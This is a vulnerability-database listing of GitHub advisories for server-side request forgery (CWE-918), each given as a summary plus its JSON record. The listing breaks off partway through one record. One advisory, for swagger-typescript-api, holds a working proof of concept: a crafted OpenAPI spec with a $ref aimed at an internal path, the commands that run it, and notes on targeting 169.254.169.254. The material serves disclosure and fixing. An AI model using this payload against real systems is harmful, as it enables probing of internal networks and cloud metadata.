CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5475 vulnerabilities reference this CWE, most recent first.
GHSA-X34H-5QGF-76HX
Vulnerability from github – Published: 2024-06-27 21:32 – Updated: 2024-06-27 21:32stangirard/quivr version 0.0.236 contains a Server-Side Request Forgery (SSRF) vulnerability. The application does not provide sufficient controls when crawling a website, allowing an attacker to access applications on the local network. This vulnerability could allow a malicious user to gain access to internal servers, the AWS metadata endpoint, and capture Supabase data.
{
"affected": [],
"aliases": [
"CVE-2024-5885"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-27T19:15:17Z",
"severity": "HIGH"
},
"details": "stangirard/quivr version 0.0.236 contains a Server-Side Request Forgery (SSRF) vulnerability. The application does not provide sufficient controls when crawling a website, allowing an attacker to access applications on the local network. This vulnerability could allow a malicious user to gain access to internal servers, the AWS metadata endpoint, and capture Supabase data.",
"id": "GHSA-x34h-5qgf-76hx",
"modified": "2024-06-27T21:32:08Z",
"published": "2024-06-27T21:32:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5885"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/c178bf48-1d4a-4743-87ca-4cc8e475d274"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X34J-WXQ8-7VCM
Vulnerability from github – Published: 2022-05-17 02:56 – Updated: 2023-08-03 22:13The Page_Load function in Umbraco.Web/umbraco.presentation/umbraco/dashboard/FeedProxy.aspx.cs in Umbraco before 7.4.0 allows remote attackers to conduct server-side request forgery (SSRF) attacks via the url parameter.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "Umbraco.CMS"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8813"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-03T22:13:29Z",
"nvd_published_at": "2017-03-03T16:59:00Z",
"severity": "HIGH"
},
"details": "The `Page_Load` function in [Umbraco.Web/umbraco.presentation/umbraco/dashboard/FeedProxy.aspx.cs](https://github.com/umbraco/Umbraco-CMS/commit/924a016ffe7ae7ea6d516c07a7852f0095eddbce#diff-2899f01df84571577834f97a81637c65e20178ec6129b76c02f99789b23cf72e) in Umbraco before 7.4.0 allows remote attackers to conduct server-side request forgery (SSRF) attacks via the url parameter.",
"id": "GHSA-x34j-wxq8-7vcm",
"modified": "2023-08-03T22:13:29Z",
"published": "2022-05-17T02:56:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8813"
},
{
"type": "WEB",
"url": "https://github.com/umbraco/Umbraco-CMS/commit/924a016ffe7ae7ea6d516c07a7852f0095eddbce"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20230608160721/https://issues.umbraco.org/issue/U4-7457"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/02/16/10"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/02/17/1"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/02/17/5"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/02/18/8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Umbraco CMS vulnerable to CSRF"
}
GHSA-X36R-4347-PM5X
Vulnerability from github – Published: 2026-07-29 14:28 – Updated: 2026-07-29 14:28Summary
swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.
The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).
Details
SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:
// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
return;
}
const visited = new Set<string>();
const queue = [this.stripHash(this.config.url)];
while (queue.length > 0) {
const currentUrl = queue.shift();
if (!currentUrl || visited.has(currentUrl)) continue;
visited.add(currentUrl);
if (this.externalSchemaCache.has(currentUrl)) continue;
const schema = await this.fetchRemoteSchemaDocument(currentUrl); // <-- HTTP GET
if (!schema) continue;
this.externalSchemaCache.set(currentUrl, schema);
for (const ref of this.extractRefsFromSchema(schema)) {
const normalizedRef = this.normalizeRef(ref);
if (normalizedRef.startsWith("#")) continue;
const [externalPath = ""] = normalizedRef.split("#");
if (!externalPath) continue;
const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
if (absoluteUrl && !visited.has(absoluteUrl)) {
queue.push(absoluteUrl); // <-- recurse
}
}
}
}
The fetch itself:
// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…and the only URL-shape filter:
// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
return /^https?:\/\//i.test(value);
}
There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.
Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).
PoC
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "SSRF-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
httpClientType: 'fetch'
}))"
Observed (control vs payload):
[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:<internal-port>
The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.
Impact
Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.
Affected use cases:
- A developer running
sta generate --url https://attacker.example/openapi.jsonagainst an attacker-hosted spec. - A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).
- A CI/CD pipeline regenerating clients from a spec on every build.
- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
- Any project where a contributor can modify the pinned spec via a pull request.
What an attacker can do with this:
- Probe the generator's network reachability — enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.
- Hit cloud-provider instance metadata endpoints (
http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information. - Trigger side effects in internal services that have GET-mutating endpoints (rare but real).
- Combine with the companion finding (Authorization-token forwarding to
$refURLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.
Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Suggested fix:
Defense in depth at three layers, in priority order:
- Reject private / link-local / loopback addresses at the URL-validation layer. Resolve the URL's hostname, check the resulting IP against IPv4 ranges
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16,0.0.0.0/8, and IPv6 equivalents (::1,fc00::/7,fe80::/10,::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding. - Use a custom undici dispatcher with
connecthook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-infetch. - Set
redirect: "manual"in thefetchoptions and validate each redirect URL through the same allowlist before following it.
If full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can grep for unexpected hosts in the output) and add an opt-out flag like --no-external-refs that disables warmUpRemoteSchemasCache entirely.
Submitted by: Hamza Haroon (thegr1ffyn)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 13.12.1"
},
"package": {
"ecosystem": "npm",
"name": "swagger-typescript-api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54663"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-441",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-29T14:28:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`swagger-typescript-api` walks every `$ref` value in the input OpenAPI spec and, for any `$ref` whose target is an `http(s)://` URL, issues an HTTP GET to that URL during generation (`warmUpRemoteSchemasCache`). The only URL filter is a regex that matches `^https?://` \u2014 there is **no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source**. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator\u0027s network, including `127.0.0.1`, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at `169.254.169.254`.\n\nThe attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs `swagger-typescript-api generate` against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).\n\n### Details\n\n`SwaggerSchemaResolver.fetchSwaggerSchemaFile` (`src/swagger-schema-resolver.ts:122`) loads the entry-point spec. After it parses, `ResolvedSwaggerSchema` (`src/resolved-swagger-schema.ts`) calls `warmUpRemoteSchemasCache` which does a BFS over every external `$ref`:\n\n```ts\n// src/resolved-swagger-schema.ts:399-445\nprivate async warmUpRemoteSchemasCache() {\n if (typeof this.config.url !== \"string\" || !this.isHttpUrl(this.config.url)) {\n return;\n }\n const visited = new Set\u003cstring\u003e();\n const queue = [this.stripHash(this.config.url)];\n\n while (queue.length \u003e 0) {\n const currentUrl = queue.shift();\n if (!currentUrl || visited.has(currentUrl)) continue;\n visited.add(currentUrl);\n\n if (this.externalSchemaCache.has(currentUrl)) continue;\n const schema = await this.fetchRemoteSchemaDocument(currentUrl); // \u003c-- HTTP GET\n if (!schema) continue;\n this.externalSchemaCache.set(currentUrl, schema);\n\n for (const ref of this.extractRefsFromSchema(schema)) {\n const normalizedRef = this.normalizeRef(ref);\n if (normalizedRef.startsWith(\"#\")) continue;\n\n const [externalPath = \"\"] = normalizedRef.split(\"#\");\n if (!externalPath) continue;\n\n const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);\n if (absoluteUrl \u0026\u0026 !visited.has(absoluteUrl)) {\n queue.push(absoluteUrl); // \u003c-- recurse\n }\n }\n }\n}\n```\n\nThe fetch itself:\n\n```ts\n// src/resolved-swagger-schema.ts:374\nconst response = await fetch(url, {\n headers: this.getRemoteRequestHeaders(),\n});\n```\n\n\u2026and the only URL-shape filter:\n\n```ts\n// src/resolved-swagger-schema.ts:75-78\nprivate isHttpUrl(value: string): boolean {\n return /^https?:\\/\\//i.test(value);\n}\n```\n\nThere is no IP allowlist (no rejection of `127.x`, `10.x`, `172.16-31.x`, `192.168.x`, `169.254.x`, IPv6 `::1` / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node\u0027s built-in `fetch`, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any `$ref` value that survives `isHttpUrl` is fetched.\n\nBecause `fetch` is Node\u0027s undici-backed implementation, an external 302 redirect from an attacker\u0027s spec server to an internal URL ALSO succeeds \u2014 even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (`redirect: \"manual\"` or a custom dispatcher with a same-host check).\n\n### PoC\n\nSelf-contained reproducer in comments (install `swagger-typescript-api@13.12.1` into a local `node_modules`, spin up two loopback HTTP servers \u2014 one serving the spec, one pretending to be an \"internal\" service \u2014 run the generator against each, observe the internal server\u0027s hit count). Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Payload spec** (served from `http://127.0.0.1:\u003cspec-port\u003e/spec.json`):\n\n```json\n{\n \"openapi\": \"3.0.0\",\n \"info\": { \"title\": \"SSRF-payload\", \"version\": \"1.0.0\" },\n \"paths\": {\n \"/p\": {\n \"get\": {\n \"operationId\": \"p\",\n \"responses\": {\n \"200\": {\n \"description\": \"OK\",\n \"content\": {\n \"application/json\": {\n \"schema\": {\n \"$ref\": \"http://127.0.0.1:\u003cinternal-port\u003e/INTERNAL_ONLY_PATH/secret.json\"\n }\n }\n }\n }\n }\n }\n }\n }\n}\n```\n\n**Steps:**\n\n```bash\n# 1. Start a loopback \"internal\" HTTP server that should not be reachable from a public spec.\n# 2. Start a loopback \"spec\" HTTP server that serves the payload spec above.\n# 3. Point the generator at the spec server.\nnpm install swagger-typescript-api@13.12.1\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n output: \u0027/tmp/out\u0027,\n url: \u0027http://127.0.0.1:\u003cspec-port\u003e/spec.json\u0027,\n httpClientType: \u0027fetch\u0027\n}))\"\n```\n\n**Observed (control vs payload):**\n\n```\n[control] (no external $ref in spec) \u2192 internal-server hits: 0\n[payload] ($ref \u2192 http://127.0.0.1:\u003cinternal-port\u003e/...) \u2192 internal-server hits: 1\n hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:\u003cinternal-port\u003e\n```\n\nThe internal server received a `GET /INTERNAL_ONLY_PATH/secret.json` issued by the generator\u0027s `warmUpRemoteSchemasCache` while the developer was running `swagger-typescript-api generate`. The loopback target in the PoC stands in for any host reachable from the generator process \u2014 typical real-world targets include `169.254.169.254` (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.\n\n### Impact\n\n**Type:** Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.\n\n**Affected use cases:**\n\n- A developer running `sta generate --url https://attacker.example/openapi.json` against an attacker-hosted spec.\n- A developer running the generator against any third-party or public OpenAPI spec they did not author (cached APIs on public schema registries, vendor / partner specs).\n- A CI/CD pipeline regenerating clients from a spec on every build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project where a contributor can modify the pinned spec via a pull request.\n\n**What an attacker can do with this:**\n\n- Probe the generator\u0027s network reachability \u2014 enumerate which RFC-1918 hosts and internal services are alive based on timing and error states.\n- Hit cloud-provider instance metadata endpoints (`http://169.254.169.254/...`) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.\n- Trigger side effects in internal services that have GET-mutating endpoints (rare but real).\n- Combine with the companion finding (Authorization-token forwarding to `$ref` URLs \u2014 filed separately) to escalate this from blind SSRF into direct credential exfiltration.\n\n**Lifecycle:** generation-time. The fetch happens when the developer or CI pipeline runs `swagger-typescript-api generate`, not when the generated client is later imported.\n\n**Suggested fix:**\n\nDefense in depth at three layers, in priority order:\n\n1. **Reject private / link-local / loopback addresses at the URL-validation layer.** Resolve the URL\u0027s hostname, check the resulting IP against IPv4 ranges `127.0.0.0/8`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `169.254.0.0/16`, `0.0.0.0/8`, and IPv6 equivalents (`::1`, `fc00::/7`, `fe80::/10`, `::ffff:0:0/96`). Re-resolve on every redirect to defeat DNS rebinding.\n2. **Use a custom undici dispatcher with `connect` hook that re-checks the resolved IP at TCP-connect time** \u2014 the only reliable way to defeat DNS rebinding in Node\u0027s built-in `fetch`.\n3. **Set `redirect: \"manual\"` in the `fetch` options** and validate each redirect URL through the same allowlist before following it.\n\nIf full SSRF mitigation is too invasive for a code-generation tool, at minimum surface the threat: log every external URL the generator is about to fetch (so a developer can `grep` for unexpected hosts in the output) and add an opt-out flag like `--no-external-refs` that disables `warmUpRemoteSchemasCache` entirely.\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
"id": "GHSA-x36r-4347-pm5x",
"modified": "2026-07-29T14:28:58Z",
"published": "2026-07-29T14:28:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-x36r-4347-pm5x"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
},
{
"type": "PACKAGE",
"url": "https://github.com/acacode/swagger-typescript-api"
},
{
"type": "WEB",
"url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`"
}
GHSA-X373-32XC-7GQV
Vulnerability from github – Published: 2026-08-11 09:32 – Updated: 2026-08-11 09:32Affected versions of cti-transmute contain an SSRF vulnerability in the /fetch_misp_event and /misp_search_events endpoints.
The URL validation routine checked whether a supplied hostname was itself an IP literal and rejected private, loopback, link-local, or reserved IPs. However, ordinary domain names were accepted without resolving them first. An attacker could therefore use a hostname whose DNS record pointed to an internal address and cause the cti-transmute server to issue requests into its internal network. The commit explicitly states that anonymous callers could make the server request the internal target and read the response.
The fix resolves hostnames using socket.getaddrinfo(), checks that every resolved address is globally routable, and additionally places @login_required on both affected MISP fetch/search routes.
{
"affected": [],
"aliases": [
"CVE-2026-73160"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-11T09:17:15Z",
"severity": "HIGH"
},
"details": "Affected versions of cti-transmute contain an SSRF vulnerability in the /fetch_misp_event and /misp_search_events endpoints.\n\n\nThe URL validation routine checked whether a supplied hostname was itself an IP literal and rejected private, loopback, link-local, or reserved IPs. However, ordinary domain names were accepted without resolving them first. An attacker could therefore use a hostname whose DNS record pointed to an internal address and cause the cti-transmute server to issue requests into its internal network. The commit explicitly states that anonymous callers could make the server request the internal target and read the response.\n\n\nThe fix resolves hostnames using socket.getaddrinfo(), checks that every resolved address is globally routable, and additionally places @login_required on both affected MISP fetch/search routes.",
"id": "GHSA-x373-32xc-7gqv",
"modified": "2026-08-11T09:32:35Z",
"published": "2026-08-11T09:32:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73160"
},
{
"type": "WEB",
"url": "https://github.com/MISP/cti-transmute/commit/4d29109a6f185d5e7c7f3b906f822ab34403f512"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-X3CH-9M5C-P5C4
Vulnerability from github – Published: 2024-02-29 00:30 – Updated: 2024-08-12 21:31An issue in open-emr before v.7.0.2 allows a remote attacker to escalate privileges via a crafted script to the formid parameter in the ereq_form.php component.
{
"affected": [],
"aliases": [
"CVE-2024-26476"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-28T22:15:26Z",
"severity": "LOW"
},
"details": "An issue in open-emr before v.7.0.2 allows a remote attacker to escalate privileges via a crafted script to the formid parameter in the ereq_form.php component.",
"id": "GHSA-x3ch-9m5c-p5c4",
"modified": "2024-08-12T21:31:31Z",
"published": "2024-02-29T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-26476"
},
{
"type": "WEB",
"url": "https://github.com/mpdf/mpdf/issues/867"
},
{
"type": "WEB",
"url": "https://github.com/c4v4r0n/Research/blob/main/openemr_BlindSSRF/README.md"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-X3CX-PX43-RQM5
Vulnerability from github – Published: 2025-10-12 03:30 – Updated: 2025-10-12 03:30HCL Unica Centralized Offer Management is vulnerable to a potential Server-Side Request Forgery (SSRF). An attacker can exploit improper input validation by submitting maliciously crafted input to a target application running on a server.
{
"affected": [],
"aliases": [
"CVE-2025-31993"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-12T03:15:32Z",
"severity": "LOW"
},
"details": "HCL Unica Centralized Offer Management is vulnerable to a potential Server-Side Request Forgery (SSRF). An attacker can exploit improper input validation by submitting maliciously crafted input to a target application running on a server.",
"id": "GHSA-x3cx-px43-rqm5",
"modified": "2025-10-12T03:30:34Z",
"published": "2025-10-12T03:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31993"
},
{
"type": "WEB",
"url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0124422"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X3F2-J2CX-6C2G
Vulnerability from github – Published: 2025-08-20 09:30 – Updated: 2026-06-05 15:32Server-Side Request Forgery (SSRF) vulnerability in Pik Online Yazılım Çözümleri A.Ş. Pik Online allows Server Side Request Forgery.This issue affects Pik Online: before 3.1.5.
{
"affected": [],
"aliases": [
"CVE-2025-5260"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-20T09:15:27Z",
"severity": "HIGH"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Pik Online Yaz\u0131l\u0131m \u00c7\u00f6z\u00fcmleri A.\u015e. Pik Online allows Server Side Request Forgery.This issue affects Pik Online: before 3.1.5.",
"id": "GHSA-x3f2-j2cx-6c2g",
"modified": "2026-06-05T15:32:04Z",
"published": "2025-08-20T09:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5260"
},
{
"type": "WEB",
"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0201"
},
{
"type": "WEB",
"url": "https://www.usom.gov.tr/bildirim/tr-25-0201"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X3F9-VCP2-HGCW
Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-05-06 22:07A vulnerability was found in Bagisto up to 2.3.15. Affected is the function copy of the component Downloadable Link Handler. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and explained: "We already replied on the github advisories. All the security issues are addressed through security advisory. We will fix this in our upcomming releases."
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "bagisto/bagisto"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.3.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6744"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T22:07:40Z",
"nvd_published_at": "2026-04-21T19:16:18Z",
"severity": "LOW"
},
"details": "A vulnerability was found in Bagisto up to 2.3.15. Affected is the function copy of the component Downloadable Link Handler. The manipulation results in server-side request forgery. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure and explained: \"We already replied on the github advisories. All the security issues are addressed through security advisory. We will fix this in our upcomming releases.\"",
"id": "GHSA-x3f9-vcp2-hgcw",
"modified": "2026-05-06T22:07:40Z",
"published": "2026-04-21T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6744"
},
{
"type": "WEB",
"url": "https://drive.google.com/file/d/1pVSN3BYjI_rUE2Jms5EcIBGSMdrq6Wql/view?usp=sharing"
},
{
"type": "PACKAGE",
"url": "https://github.com/bagisto/bagisto"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/794680"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358435"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/358435/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Bagisto affected by Server-Side Request Forgery"
}
GHSA-X3FG-4H2P-6MGP
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.
{
"affected": [],
"aliases": [
"CVE-2026-45504"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:26Z",
"severity": "HIGH"
},
"details": "Server-side request forgery (ssrf) in Microsoft Exchange Server allows an authorized attacker to elevate privileges over a network.",
"id": "GHSA-x3fg-4h2p-6mgp",
"modified": "2026-06-09T18:30:51Z",
"published": "2026-06-09T18:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45504"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-X3H6-75JV-6FFR
Vulnerability from github – Published: 2022-05-14 03:10 – Updated: 2022-05-14 03:10The backend component in Open-Xchange OX App Suite before 7.6.3-rev36, 7.8.x before 7.8.2-rev39, 7.8.3 before 7.8.3-rev44, and 7.8.4 before 7.8.4-rev22 allows remote attackers to conduct server-side request forgery (SSRF) attacks via vectors involving non-decimal representations of IP addresses and special IPv6 related addresses.
{
"affected": [],
"aliases": [
"CVE-2018-5752"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-06-16T01:29:00Z",
"severity": "HIGH"
},
"details": "The backend component in Open-Xchange OX App Suite before 7.6.3-rev36, 7.8.x before 7.8.2-rev39, 7.8.3 before 7.8.3-rev44, and 7.8.4 before 7.8.4-rev22 allows remote attackers to conduct server-side request forgery (SSRF) attacks via vectors involving non-decimal representations of IP addresses and special IPv6 related addresses.",
"id": "GHSA-x3h6-75jv-6ffr",
"modified": "2022-05-14T03:10:31Z",
"published": "2022-05-14T03:10:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-5752"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/44881"
},
{
"type": "WEB",
"url": "http://packetstormsecurity.com/files/148118/OX-App-Suite-7.8.4-XSS-Privilege-Management-SSRF-Traversal.html"
},
{
"type": "WEB",
